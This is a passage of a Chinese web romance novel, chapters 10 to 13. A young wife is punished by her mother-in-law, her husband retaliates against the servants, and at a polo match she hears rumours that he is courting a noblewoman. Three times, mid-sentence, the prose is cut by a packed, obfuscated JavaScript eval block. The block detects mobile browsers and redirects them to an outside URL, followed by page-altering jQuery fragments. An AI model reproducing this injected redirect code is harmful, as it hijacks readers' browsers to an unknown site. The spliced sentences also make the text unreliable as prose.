小婵一见到他,顿时如获救星,扑上去抓住他手臂:“快去樊楼,去找郎君回来!” 平川一愣,有些摸不着头脑,“怎的了?出了何事?” 小婵急得跺脚,“娘子叫崔嬷嬷给带走了,我瞧着架势不对,只怕娘子要吃苦头!” 平川一惊,急忙扯了马匹出来,翻身上马,往街上去了。 一路去往松春院,折柔跟在崔嬷嬷身后,心头不免有些发紧。 走进院子,就见一众女使和仆妇都侍立在廊下,掖着双手,个个一脸肃然。 还不到掌灯的时辰,天色将暗不暗,几缕夕光穿过花墙,洒入廊庑,在门外青灰地砖上铺出一片涌动金辉,越发衬得堂屋幽深,光线晦暗。 郑兰璧神色矜淡,端坐在主位上,几个心腹嬷嬷陪侍左右,空气中浮动着沉凝的檀香气味。 折柔定了定心神,唇边带着点温婉的笑意,上前躬身行礼,“问夫人安好。” 郑兰璧打量她一眼,淡淡道:“我听闻,你这两日在租买铺面,打算做些药材买卖?” 折柔原以为一进来就要对上疾言厉色,却不想郑兰璧态度尚算和缓,不由得微有些诧异。 只是此时也不便多想,她垂着眸,谨慎应道:“是,郎君也是知……” 不待她说完,郑兰璧冷冷打断道:“此事我不答允,往后休要再提。” 折柔微微一怔,下意识抬起头来。 “陆家虽比不得从前,但还养得起你一张嘴,在家中做好你侍奉郎君的本分,少去外头招摇,惹人闲话。” 折柔没想到郑兰璧是因为这事向她发难。 郑兰璧性情倨傲执拗,厌恶她,便仿佛与她多见一眼都会污了眼睛,也是出于这个缘故,即使一向对她不满,也不屑于使手段暗中磋磨,只全当府中没有她这个人,不知怎会突然插手她院中的事。 可旁的她都可以退让,开药铺这事不行。 她没有爹娘做靠山,比起寻常女子,更加不能做一个困守内宅、仰仗着郎君鼻息过日子的妇人,她得有自己安身立命的本事,辛苦学来的医术,断断不能荒废。 折柔掂量着措辞,温声解释:“夫人有言,我身为晚辈,应当尽量遵从,只是开设药铺一事,还望夫人见谅,我实难从命。” “有何不可?”没料到她敢直接拒绝,郑兰璧面色陡然一沉,冷嘲道:“这上京城遍地繁华,医馆药局成百上千,更不必说还有朝廷官设的六处熟药惠民局,哪里会缺你这一家药铺不成?” 折柔抿了抿唇,没有出声。 郑兰璧轻瞥她一眼,下巴稍稍一抬,身后嬷嬷立时会意,从案上捧起一个红漆木匣,送到折柔眼前。 “细说起来,洮州的那几年,你侍奉三郎也算有功,看在这个份上,你既没有嫁妆傍身,那我送你一些便是,没得为了这点蝇头小利,出去抛头露脸,丢尽陆府的颜面。” 折柔脸色唰地一白,仿佛被人当众扇了一耳光,心里止不住地难堪,隐约地又夹杂了丝怒意。 郑兰璧分明早就准备好了钱财,摆出这样一副高高在上的姿态。 这是什么意思呢,拿她当什么人?因为她出身乡野,家境寒酸,所以短视贪财,不知体面? 可她明明不是。 “夫人,”折柔再一开口,发觉自己的声音在发颤,她暗中掐了掐手心,强迫自己冷静,“我开这个药铺,实是因为不想荒废了医术,并非为着自己的私房,且我只做成药,并不出诊坐堂,无需出头露面。” 郑兰璧见她软硬不吃,也失了耐性,索性将话挑明了说,“你当知晓,三郎早晚要娶贵女过门,就算本朝民风开放,不轻商贾,却也断没有容着妾室在外操持生意的道理。” 听闻这话,折柔唇边笑意彻底僵住,“我与陆谌……” “放肆!” 建盏“当啷”一声磕在案上,温热的茶水飞溅四溢。 郑兰璧腾地站起来,含怒斥道:“谁教你的规矩,竟敢直呼郎主名讳! 如今想来是我的疏忽,自打你入府,还不曾好生立过一回规矩,倒是纵得你不知天高地厚了!” 折柔心中一片冰凉,指尖阵阵发麻。 今日不论她说什么、做什么,郑兰璧是打定主意要给她吃些教训,立一立威的。 她的退让隐忍,换不回半分尊重,能换来的只有一次次的羞辱和轻视。 忍耐到了极处,反倒催生出一腔宁折不弯的刚烈来,折柔挺直了背,平静地抬起头。 “夫人有所不知,我与陆谌是明媒正娶,拜过天地,立过婚书,成亲前也往京中送过信,并非不告长辈而私娶,洮州旧邻皆可为证,贬妻为妾,有违大晋律法。” 她眼圈微红,眸光却清亮,语气不卑不亢,明明是柔弱堪怜的样貌,偏却显出一股坚韧决绝的锋芒。 郑兰璧愣怔一瞬,旋即气得笑了起来,“好,好,既然非要做我陆家的媳妇,那婆母教导规矩,你听是不听?” 说着,也不待折柔回答,她微微扬起脸,抬手朝外一指,“忤逆婆母,顶撞长辈,先去院中跪上半个时辰再说!” 折柔心头一颤,手指深深掐入掌心。 屋外廊下都是女使婆子,郑兰璧要她去院中罚跪,分明是要在这些下人跟前折尽她的颜面,撕下她的自尊,看她笑话。 可今日陆谌不在,府里除了小婵,再没有人会向着她,郑兰璧既铁了心,那她难免要受下这场苦头,只能盼着小婵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861158|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送到了信,让陆谌早些回来。 郑兰璧眼角余光扫过,只见她身子微晃,脸上血色也褪了个干干净净,胸中翻腾的怒意总算和缓几分,示意嬷嬷动手。 两个仆妇二话不说,上前攥住折柔的胳膊,不由分说地要将她按去院中。 正争执间,院门被人一把推开,有人闯了进来。 听见声音,折柔猛地转头看去。 进来的却不是陆谌。 平川走后,小婵守在角门,左等右等,却只等来郎君不在樊楼的消息。 平川急得满头冒汗,说是找遍了樊楼,连带着旁边的几家正店酒楼都看过了,郎君不在。 可是怎么会呢?郎君明明说了在樊楼应酬的呀! 小婵急得团团转,可实在没有办法,只能自己闯进去,推挤开那两个拉扯自家娘子的嬷嬷,高声嚷道:“我已经送了信,郎君很快便会回来,谁也不许动我们娘子!” 闻言,郑兰璧心中怒意陡然高涨,倒是没料到野丫头还有这点小心思。也罢,三郎毕竟是有几分看重宁氏,她不好轻易动家法,那便拿这婢子杀鸡儆猴。 她冷冷地看了折柔一眼,讥讽出声:“果然乡下出身,连个婢子都不会教,今日便从你身边的女使教起,叫她长长记性。” 听出那语气中冷寒的怒意,折柔忙把小婵挡在身后,颤声道:“不劳夫人费心,回去我自会好好管教她。” 郑兰璧却冷笑一声,命人取来家法藤条,几个身壮腰粗的婆子随即一拥而上,七手八脚地将小婵摁在地上,举起藤条便要抽下去。 折柔惶然惊骇,又愤怒不已。 院中一片混乱,闹到如今这般情形,等陆谌回府已然来不及,折柔咬了咬牙,踉跄着扑过去,奋力推开外围的两个婆子,手臂一张挡在小婵肩头。 手指粗的藤条“啪”地一声,狠狠抽在她的手臂上,立时带出一道狰狞血痕。 小婵失声惊呼:“娘子!” 人流熙攘的相国寺外,陆谌心头忽地一悸。 “秉言哥哥?” 身侧,徐有容见他似是在发怔,微微偏过头,轻唤了他一声。 陆谌闻声回过神来,勾唇笑笑,“嗯?” “你瞧这个手串好不好看?” 徐有容兴冲冲地举起一条猫眼儿石手串,比在手腕上,欢喜地让他瞧。 手串是用西域运来的彩石交错穿缀而成,工艺虽略显粗糙,但胜在样式颜色新巧有趣。 徐府的女使就跟在不远处,正望着两人的动静。 陆谌不动声色地用余光瞥过,抬眸看向徐有容,唇边笑意温煦:“好看。容娘若是喜欢,改日我托西军里的同袍,再寻摸几种颜色稀罕的,不止能做手串,还能串成九连环玩。” “当真?这可是你说的!” “嗯,我说的。” 徐有容眼神一亮,整个人雀跃起来,轻轻扬着唇角,像一尾灵活的小鱼,和陆谌继续往市集深处逛去。 松春院里,折柔勉强将小婵护在身后,抿紧了唇,身上微微发抖。 “莫说你的亲事我不认,便是我认下,你三年无子,忤逆婆母,哪一样说起来,我陆家都可以休了你!” “真拿自己当什么正经娘子,除了会狐媚郎君,还会什么?这样的出身,不配进我陆家的门!” 尽管廊下的女使和婆子都低垂着头,无人窃窃私语,可听着郑兰璧的厉声斥责,折柔仍觉得狼狈,难堪,羞愤。 暮春的夕阳照在身上,没什么温度,却灼得她肌肤寸寸生疼,全身骨头碎裂了一样痛。 她忽觉鼻间涌上一股酸意,眼前景象变得模糊。 陆秉言,你怎么还不回来。 11. 第 11 章 夜幕将垂,黝黑天穹间弦月高悬,疏疏落落地散着几颗晚星。 东院里,小婵翻出来药箱,低头给折柔的手臂上药,一边敷,一边哭得直吸气。 折柔倚在引枕上,冲她安慰地笑笑,“没事,不疼的。你没见过我婶娘打人用的藤条,比这更粗,上面还有倒刺呢。今日只挨了这一下,能唬住她们,也算不亏。” 可她这样自我解嘲,却让小婵听得愈加心疼,越想越不忿,“当初我们在洮州,日子过得别提多好了,若不是来了上京,娘子哪里会受这样的欺侮!郎君也不知去了何处,紧要关头,找他都找不到,眼瞧着让娘子吃这苦头。” 折柔神色微微一顿,垂下眼眸,没有作声。 小婵眼泪吧嗒吧嗒地往下掉,“就算是郎君的娘亲,也没有这样欺负人的道理……” 正说着,廊下忽然传来一阵急沉的脚步声,小婵闻声抬头,就见陆谌已经到了门上,阴沉着神色,疾步绕过槅扇走进屋来,她吓得一个哆嗦,立时噤了声。 折柔看了小婵一眼,示意她不用怕,先出去外面候着。 小婵咬了咬唇,起身向陆谌行了个礼,退到廊外。 “你回来啦?”折柔看向陆谌,眼眸温软,带着点笑意,仿佛什么事都不曾发生。 陆谌走到榻前,沉默着点点头。 见陆谌视线落在她的胳膊上,折柔下意识便要将衣袖放下去,却不防被陆谌一把扣住了腕子,翻转过来。 她手臂上肌肤莹白细嫩,唯独被藤条抽过的地方青肿发紫,斜斜凸起一道三寸余长、小指粗细的血痕,微微破了皮,往外渗着几缕血丝。 陆谌眉眼阴沉,一言不发地盯着那道狰狞刺目的瘀伤,定定看了半晌。 折柔倒是被看得不大自在,试着想把胳膊收回来,低声哄道:“没事的,就是看着唬人,已经上过药,过两日便好了。” 过了好半晌,陆谌抬起头,深潭般漆黑的眼底情绪晦暗交错,“对不住……我不在,让母亲欺负你了。” 心口一片酸胀,折柔抿了抿唇,摇头,“不要紧。” 沉默许久,陆谌握着她的胳膊,指腹轻轻摩挲她腕上的皮肤,声音低哑,“很疼?” 受了委屈,最怕有人问。 方才在小婵面前还不觉怎样,可见到陆谌心疼的神色,听着他低哑歉疚的声音,那些强自压抑着的情绪突然间翻涌上来,像堤坝溃决,一瞬找到了发泄的出口。 折柔鼻子一酸,忽然有种想哭的冲动。 她急忙偏过头,眼泪无声无息地流下来。陆谌抬手触到她脸颊,一掌心的泪水,温热潮湿,烫灼得他心头阵阵发紧。 折柔哭起来一向安静,只微微地抽气,闭着眼睛,泪水连绵不断。 陆谌知道这是她幼时养成的性子,那时候寄居在叔父家中,她受了委屈不敢哭出声,生怕惹得叔婶不喜,要招来责骂,时日久了,便习惯着压抑哭声,到如今长大了,仍是这样。 仿佛五脏六腑被人拧作一团,陆谌咬紧了牙,伸手将折柔揽进怀里,声音微涩,“莫哭了妱妱……等我忙过这一阵。” 折柔的身子微微一僵。 察觉到怀里人的异样,陆谌垂下眼睫,心里越发不是滋味,轻拍着她纤薄的后背,低声哄:“过两日金明池畔会办几场马球赛,我带你去散散心,想不想看我打马球?” 陆谌马球打得极好,从前在洮州,每每赶上营中同袍攒局较量,只要上场,必能给她赢回头筹的彩头,都收在她从洮州带来的那个小木匣里。 想起旧事,折柔忍不住轻轻地笑了下,点头应好,伏在他的胸膛上,慢慢止住了泪。 依偎着歇了一会儿,陆谌唤人送来温水,打湿帕子给折柔擦了脸,安顿她躺好,提上被衾,掖了掖被角。 抽身退出来,陆谌走到廊下,看了眼候在门外的小婵,沉声道,“你随我来。” 眼看着他脸上阴云密布,也不知要如何发作,小婵惶惶应了,提心吊胆地跟上去。 陆谌步快腿长,小婵一路小跑着跟在后头,穿过长廊,一进松春院,就见庭院里灯火通明,亮如白昼,廊下亲卫环侍,女使仆妇跪了一地,连同崔嬷嬷都一道被押在地上,按住了手脚。 见两人过来,南衡上前行礼,一比手道:“郎君,院中差使的人都在这了。” 陆谌略一颔首,视线越过地上一众瑟瑟发抖的女使仆妇,冷静淡漠得像个毫不相干的外人,转头问小婵:“可还记得是谁动的手?” 小婵一愣,旋即明白过来郎君是要为娘子出头,瞬间挺直了腰,凶巴巴的目光在阶下跪着的仆妇中搜寻一圈,抬手唰地指向其中一个,气壮道:“就是她!” 被指中的吴嬷嬷顿时惊得魂飞天外,整个人瘫软在地上,抖如筛糠,口中不住地哭喊告饶:“郎君明鉴,郎君明鉴!老奴是无心,万万没想伤到娘子,借老奴一万个胆子,也绝不敢再冒犯娘子半分,求郎君宽宏啊!” 陆谌神色不耐,下巴微微一抬,南衡立刻上前,反剪住那仆妇两条胳膊,将人摁倒在地,亲卫抄起板子便要行刑。 “给我住手!” 郑兰璧不知何时走出了堂屋,站在门口,高声冷喝。 陆谌闻声看她一眼,淡淡道,“此事母亲还是勿要插手的好。” “今日教导宁氏,是我下的令,是我让人动的手,你何不叫人打我的板子?” “儿子不敢。” “你不敢?我看你敢得很!”郑兰璧一霎攥紧了门框,指尖用力到泛起青白,怒斥出声。 “仆妇一时失手,伤到你心头上的人,你要责罚几下出出气也就罢了,可你偏偏挑在我的院子里,在我的眼皮子底下!闹出这么大的动静,你这哪里是教训仆妇,你这分明是在教训我、要打我的脸!” “我是你亲娘!你七岁那年得了一场大病,是我衣不解带地日夜照料你,去寺里跪满了九百九十九级台阶,只为给你求一道平安符……如今为着区区一个乡野女子,你竟要这般折辱亲娘的脸面?!” 郑兰璧气得浑身发颤,呼吸急促,说到最后,语调越发悲愤。 “妱妱又何尝不是我的脸面?”陆谌抬眸看了他母亲一眼,冷道:“妻子受辱,是丈夫无能。” 那眼神平静清淡,却让人不寒而栗,仿佛一柄饮过血的杀人刀。 郑兰璧脸色猛地一变。 犹记得当年,她这儿子年仅十七便高中进士,文采风流,姿容俊秀,上京贵眷之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861159|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中无人不羡慕她嫁得好人家、生得好麟儿。 虽然如今已是弃文从武,可举止间依旧能看出几分读书人的清隽文雅,见人含笑,隐约透着一股温润纯良的少年气。 以至于直到此刻她才猛然惊觉,她这儿子早已不是从前的三郎,而是一个真真正正从沙场里拼杀出来、手上不知沾过多少血的狠厉武将。 郑兰璧只觉腿上一软,险些跌坐下来。 那厢亲卫已经挥板打了下去,婆子发出声声杀猪般的惨叫哀嚎,二十余下过去,直打得皮开肉绽,鲜血淋漓,染红了身下一小片青砖。 院中其他的女使仆妇看得心惊胆战,大气不敢出,知道今日郎君是动了真怒,要拿人作筏子,好给东院出头立威,只怕松春院里的人都要跟着脱层皮。 收拾完吴嬷嬷,陆谌又让小婵指认出其余几个动过手的仆妇,尽数罚了板子,院中渐渐弥散开铁锈的腥气。 郑兰璧受不住这味道,用手帕掩住鼻子,脸色煞白,仍强撑着挺直腰背,抿紧了唇角,不想在人前显出脆弱。 吩咐护卫将受罚的婆子拖出去,陆谌走到廊下,牵唇笑了下,笑意却不达眼底:“母亲,妱妱是我的人,她若惹了母亲不快,一应错处自当由儿子担待,受家法跪祠堂,儿子绝无二话,唯请母亲,勿再私下为难于她。” 言罢,陆谌也不再多看她一眼,垂了垂眼睫,往院外走去。 “陆秉言!陆谌!你给我站住!” 见他就要走出院门,郑兰璧松开手,跟着追去几步,喘着粗气,厉声喝住。 “我教导宁氏要安守本分,是为了什么?还不是为着你!” “事后到我这里耍威风、装情深,那当时你人又在何处?不知道的,还以为上将军真是好一个情种!” 陆谌身形一霎僵住,瘦削的下颌线条寸寸绷紧,冷硬如寒铁。安静片刻,他没有回头,抬步走出了松春院。 回到东院,折柔已经睡下了。 弦月躲入云层,黯淡的夜色漫进窗棂,内室里一片静谧,只远远地点了盏油灯,晕出一小团熹微的昏光。 陆谌在榻边坐下,摸了摸她的脸。 沉默着看了好一会儿,陆谌换了衣裳,轻手轻脚地上榻,在她身边躺下,伸手将人抱进怀里。 听见他呼吸变得均匀绵长,折柔慢慢睁开眼,再没有半分睡意。 四下里一片寂静,只能听见长风摇动蕉叶,簌簌的一点轻响,伴着草丛中,偶尔的两声虫鸣。 夜深人静,她忽然感到一股难以言说的孤独。 明明白日里还在为租赁铺面欢喜,不过几个时辰的光景,情形竟急转直下到这般地步。 她心中一阵阵泛起涩意,止不住地思念洮州小院,想院中的青石板,屋后的两垄菜畦,还有门口的石榴树,想起春日里和陆谌一同坐在檐下,看细雨如绳,夏夜里陆谌给她打扇捉流萤,两个人在院中支个小桌,吹着晚风,分吃几块用井水湃凉的甜瓜…… 这般朝夕相对了四载,她当然看得清楚,陆谌眼中的心疼愧疚丝毫不掺假,她也隐约能猜到,他如今是有难处。 为此,她绝口不提方才在他衣领上嗅到了一缕脂粉香,也不再追问,他今日到底是去了何处。 12. 第 12 章 一夜之间,松春院里侍奉的人被换去大半,陆谌又给东院新添了护卫,府里也随之安定下来。 临近入夏,院中榴花初绽,争妍吐蕊,娇艳似火,匆匆下过几场细雨,街巷中有小贩吆售起清风楼的黄酒,货郎担着新上市的青杏和茄瓠走街叫卖。 正是祛寒补身的时令,折柔思量过后,仔细采买了几种药材,打算先做些活血散寒的通经甘露丸,当做开铺挂牌的第一例成药,若是卖的好,能顺利打开销路,再考虑上其他新药。 说起来,这副配制甘露丸的药方还是她爹娘留下的。 那年她阿娘病重难治,不得不把她托付到叔父家中,又怕她叔婶嫌弃累赘,于是强撑着病体,将她爹爹留下的药方手札誊抄下来,当做托孤的酬劳,只盼着他们能看在药方的份上,悉心养育她长大。 后来她叔父按这方子制药售卖,行情极好,一度成了医馆里的招牌。 有这个例子在先,折柔对甘露丸的药效颇有把握,更何况她炮制药材一向细致耐心,用料也扎实,想来只要这一批成药能顺利卖出去,不愁没有回客。 长此以往,等她的成药一步步打出名号,陆谌也在上京的官场站稳脚跟,日后一切都会好的。 下月十七是陆谌的生辰,倘若一切顺利,或许还来得及用药铺的进项给他置办生辰礼。 这样想着,折柔很快赶制出一批甘露丸,吩咐小婵仔细包好,收进药铺,准备开张售卖。 隔天便是四月二十,金明池开设马球赛的日子。 折柔一早换上新衣,身着春水碧窄袖交领上襦,萱花缠枝百迭裙,挽银泥透纱披帛,丝绦缠发,眉心一点珍珠云母花钿,顾盼之间,容色晃人眼。 陆谌在槅扇后等着,见她出来,起先目光只是随意掠过,又忽在刹那怔住。 看见他的神色,折柔心里颇为受用,走过去,微微张开双臂,仰起脸笑问他:“新做的衣裳,好看么?” 陆谌视线落在她莹莹如玉的面庞上,定定地看了一会儿,唇边漾起笑意:“好看。” 折柔抿唇笑起来,两人收拾停当,乘上马车,往顺天门的方向行去。 每年到了这个时候,金明池都会大门四开,允准寻常百姓入内游览踏青,御史台也会张榜贴告,诸事不禁[1]。是以今日池苑内外热闹非凡,人流往来如织,既有官员贵胄,也有寻常百姓,处处欢声笑语,喧闹鼎沸。 马车一路缓缓行到金明池附近,人流越发拥堵,平川好容易才寻到一处空位停稳,陆谌扶着折柔下了车,一道走进正门。 池苑里已经扎满了彩棚锦帐,一座挨着一座,临水而设,面朝球苑,都是附近商贩提前布置装点的,专门赁给富贵人家,方便女眷在帐里观看马球正赛。 马球传自前朝,本是贵族游乐的闲情,大晋以武开国,虽然百余年传承下来已是崇文轻武,但不论皇室民间,都对马球捶丸之类的搏戏热情不减。 每逢金明池开,苑中都会设办马球赛会,禁军诸班直的将士头扎软巾,身带锦绣披肩,骑着各色骏马,上场夺筹。 官家也会驾临棂星门外的宝津楼,同宗亲贵胄们一道观看比赛。 眼下离马球开赛还有些时辰,男子们三三两两地围在一处应酬交际,陆谌遇见不少相熟的禁军同僚,对折柔仔细交待几句后,他和同僚去了球场,折柔则带着小婵穿过回廊,去苑中闲逛。 一路上形形色色的小摊连绵不绝,处处热闹繁华,折柔心情畅快,和小婵买了两盏紫苏熟水,去往金明池西岸。 先前她就听陆谌提过,金明池和琼林苑的鱼蔬平素专供禁中,只有每年的四月二十,池苑开放,寻常百姓才可以在此凭牌垂钓,钓上来的鱼临水砟脍,味道极是鲜美,佐酒更是一绝。 走到西岸,池畔已经围了不少人,小婵兴冲冲地挤进去,回身招呼她:“娘子,这里!” 折柔弯唇笑笑,走到近前,从木桶里挑中一条肥嫩的鲈鱼,正要指给小贩看,谁料那鱼儿突然扑腾了一下,桶里水花四溢,险些泼溅到她身上。 折柔慌忙向后退了半步,脊背却不防撞进一个坚硬温热的胸膛。 不待她反应过来,身后忽然响起一声轻笑,仿若敲冰戛玉,在一片喧闹嘈杂中清晰入耳。 折柔心一惊,倏地回过头,正对上一双漆黑俊眸。 谢云舟就站在她身后,眉梢微挑,唇边噙笑地望着她。 他显见是刚从马球场上下来,额间束一条绛红洒金抹额,鬓边凌乱的碎发微微有些汗湿,眉尾的汗珠上晶光浮动,一双黑眸亮如寒星。 折柔回过神来,语气不觉有些惊喜,“鸣岐?” “九娘。”谢云舟比她高了大半个头,一开口,热烫的气息洒在她颈间。 两个人挨得太近,折柔几乎能感受到他身上散发的汗气,隐约还掺杂着干净的皂角清香。 她下意识退开少许,抬起头,灿然一笑,“你怎么在这?” 谢云舟看一眼她脚下后退的动作,又若无其事地调开视线,懒洋洋地笑道:“刚在毬场出了身汗,我来沽一坛冷酒,没想到竟能在这遇上。”说着,他朝鱼摊扬了扬下巴,“来吃鱼脍?” 折柔点点头,笑应:“听说这里的鱼脍味道极好,我想尝尝。” “来,我给你捞。” 谢云舟扬唇一笑,越过折柔,走到木桶跟前,半蹲下来,有意无意地将她挡在身后,一只骨节分明的手探入木桶,稳稳捉出一条肥鱼,交到小贩手里。 那小贩刀工奇绝,很有前人诗中“运肘风生看斫鲙,随刀雪落惊飞缕”的风采[2],三两下刮鳞去骨,眨眼之间,一盘雪白纤薄的鱼脍落入瓷盏,形如牡丹初绽。 谢云舟就在一旁,折柔问摊主另要了几个干净小碟,拨出鱼脍,分递给他和小婵,大方道:“都尝尝。” 谢云舟伸手去接,长指湿淋淋的,带着些凉意,蹭过她温热指尖,一触即分。 折柔低下头,用竹筷夹了一薄片鱼脍,沾了金齑,唇瓣微张,含进嘴里。随着动作,海棠色的束发丝绦低垂下来,长长的一截穗子,在她颈间柔柔拂动。 谢云舟透过白瓷小碟的倒影,影影绰绰地看见她细腻温润的侧脸,他很想帮她拂开那丝绦,却只是握紧了拳,若无其事地扬眉笑笑,“好吃。” 折柔也觉得味道很好,眉眼含笑,向摊主又买了一份,仔细装好,托谢云舟给陆谌带去球苑。 谢云舟看了眼手中食盒,唇角轻扯,自嘲地笑笑。 其实他不喜欢吃鱼。 他表哥陆秉言才喜欢。 和谢云舟作别后,折柔和小婵沿路折返回去,到岸边的彩棚里寻陆琬。 前几日陆琬让差人送了信,邀她一道观赛。 暮春初夏,风从池面吹过来,骀荡轻暖。折柔还未走近郡伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868974|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府的彩帐,陆琬便瞧见了她,眸光一亮,亲热地迎上前:“阿嫂!” 折柔也笑起来,“琬娘。” 陆琬拉住她的手,上下好生打量了一番,忍不住夸赞:“阿嫂今日甚美!” 折柔抿唇笑笑,两个人寒暄了几句,正要往彩帐里去,身后树林里忽然传来一阵轻快的马蹄声,跑得不算急,林中不见尘烟。 旁边有小娘子看清了马背上的人,低低惊呼一声:“那不是徐十六娘么?她何时学会骑马了?” 乍然听见那几个字,折柔心口忽地一跳,下意识抬眸,顺着声音看过去。 林中一行十余人,身骑骏马,个个衣着鲜艳,华光耀目。 最当先的小娘子年轻娇妍,灿烂的日光下,一张小脸晶莹俏丽,身穿织金石榴裙,腰系缀珠玉带,锦绣罗衣,满头珠翠,通身的富贵气派,明艳不可逼视。 仆从女使骑马簇拥在她身侧,恍若众星拱月。 原来,这便是郑氏口中与陆家门楣相称、想要为陆谌求娶的小娘子。 果然是顶顶的贵女。 那样的出身家世,有爹娘疼宠长大的骄女,她穷极一生,也无法与之相比。 折柔心里没来由地生出一股难言滋味,说不清是惊艳、羡慕,还是旁的什么,茫然间,又好像什么滋味都有,错杂交织在心头,让人舌根隐隐发涩。 似是跑尽了兴,徐十六娘翻身下马,在一众豪仆女使的簇拥下,朝着不远处的彩帐走去,如瀑的日晖倾泻下来,映得她鬓边细汗晶莹闪烁。 耀光茫茫刺目,折柔不自觉收回视线,安静地坐在帐幔的阴影中,低头吃茶。 她明白自己有些庸人自扰,可若是心中太过在意一个人,那但凡与他相关的一切,都难免生出比较,难免觉得自己不足。 旁边的几个贵眷交头闲谈起来。 一个小娘子好奇道:“今年春猎的时候徐十六娘还不敢骑马呢,如今竟学会了?” 旁人笑起来,“也不知哪个人这般大胆,敢接这烫手山芋,做她骑术教头。” 不知哪家的年轻夫人啧了一声:“接不好是烫手山芋,若是接得好,能得她青眼,那可就是泼天的富贵。官家眼下就三殿下一个成年皇子,想想将来要和天家做连襟,年轻郎君哪个不眼热?换做是我,也想娶回家这样一尊金玉菩萨呢。” 此言一出,女眷们打趣嬉笑一片。 又有一人插进话来:“我知道是谁!好像是禁军里一个姓陆的将军,鸿胪寺卿家的张五郎听说这事,酸得直咬牙呢!” 折柔正要把茶盏放到小案上,听见这话,心头咯噔一声,仿佛从阶上踩空,突然一阵发慌。 身旁的贵眷们诧异片刻,纷纷来了兴致,笑闹着催那小娘子再多讲讲。 那人摇摇头,继续道:“旁的我也不知,但有一回张五郎吃多了酒,在宴上乱骂‘他姓陆的有什么好’,结果话还没说完呢,就让他三哥给捂住嘴拖了出去,哎呦你们是没瞧见,那场面别提多精彩了!” 那边的女眷们还要继续深谈,却被陆琬忽然打断。 “阿嫂?” 看着折柔脸色不对,陆琬轻轻拉了她一下,关切道:“可是身上不舒服?” 折柔在这一声中回过神,冲陆琬温和地笑笑,摇了下头,“没事。” 姓陆的将军那样多,或许只是恰巧同姓而已。 她想。 13. 第 13 章 说话间,球苑响起隆隆鼓声,十余面织锦彩旗迎风猎猎,宝津楼上坐满皇亲贵眷。 陆谌换好马毬服,头扎软巾,肩披锦绣,腰束革带,骑着剪鬃束尾的膘壮骏马,和谢云舟各率一队禁军进了球场。一行人个个鲜衣怒马,英武挺拔,气势豪壮。 两队禁军一方披红绸,一方披蓝绸,上场后互相碰了碰球杖,以作招呼。 双方勒马停住,红队里一人笑道:“陆秉言,咱们说好了啊,今日一战,你可不能对小郡王手下留情!咱们这些西军旧部全都指着这回呢,非把他们泾原军干趴下不可!” “就是!”身后的将士笑起来,跟着起哄,“谁都知道你俩好得跟亲兄弟似的,可不兴放水啊,谁放水谁孙子,说啥也不能让他们抢了头筹!” 谢云舟从旁听见,球杖在手心里转了两转,笑骂道:“呦,几日不见,薛二郎长本事了啊,还想和我争头筹?来来来,你且试试!” 那厢聊得越发火热,陆谌却始终不发一言,只牵唇笑了笑,勒马立在一片光瀑之中,辨不清眉目神色。 少顷,发令侍者手上绣旗一挥,球苑里登时鼓声大噪,十余匹骏马一齐冲向中场,蹄声浩荡如奔雷。 陆琬兴奋地牵住折柔衣袖,指给她看:“阿嫂快看,开始了!” 折柔也跟着笑起来,微微坐直了身子,神情专注地看向场上局势。 陆谌和谢云舟性子不同,打法也全然不同,一个是稳中求准,一击必中,一个则是迅疾张扬,势不可挡。 两人很快先后各中一筹。 陆琬欢喜地道:“阿嫂你看,鸣岐表哥也中了一筹!” 看着她的模样,折柔忍不住笑起来,提醒道:“他和你阿兄可是对手。” 陆琬神情激动,杏眸亮晶晶的,“两个都是我阿兄,哪个进球我都高兴!” 说话间蓝队又进一球,上半场比分打平。 金锣敲响,场边禁军用力擂动大鼓,人群中爆出阵阵叫好喝彩。 折柔也为这气氛所感染,心神激荡起来,和陆琬一同拍手叫好。 球杖转出一道潇洒的弧线,被谢云舟架在肩头。 日光耀目,他微微眯起眼睛,下意识看向她的位置。 只一眼便收回目光。 动作细微,几不可察,却尽数落进陆谌眼中。 不必看,他也知晓那是谁所在的方向。 勒马转身,陆谌眸光晦暗不明。 下半场很快开始。 彩球入场,谢云舟一马当先,直接抢中头杆,骑着他最心爱的玉狻猊,白马蓝袍,如同一道撕裂天际的闪电,在飞扬的尘土中疾驰奔突。 陆谌一队五人很快围上,阻住他的来势。 谢云舟看了眼同队的将士,眉梢一挑,冷不防将彩球向后一推。 这一遭出人意料,红队防备不及,彩球穿过交错混杂的马蹄,直朝他身后一个黑脸汉子的杖下滚去。 “接球!”谢云舟扬声大喝。 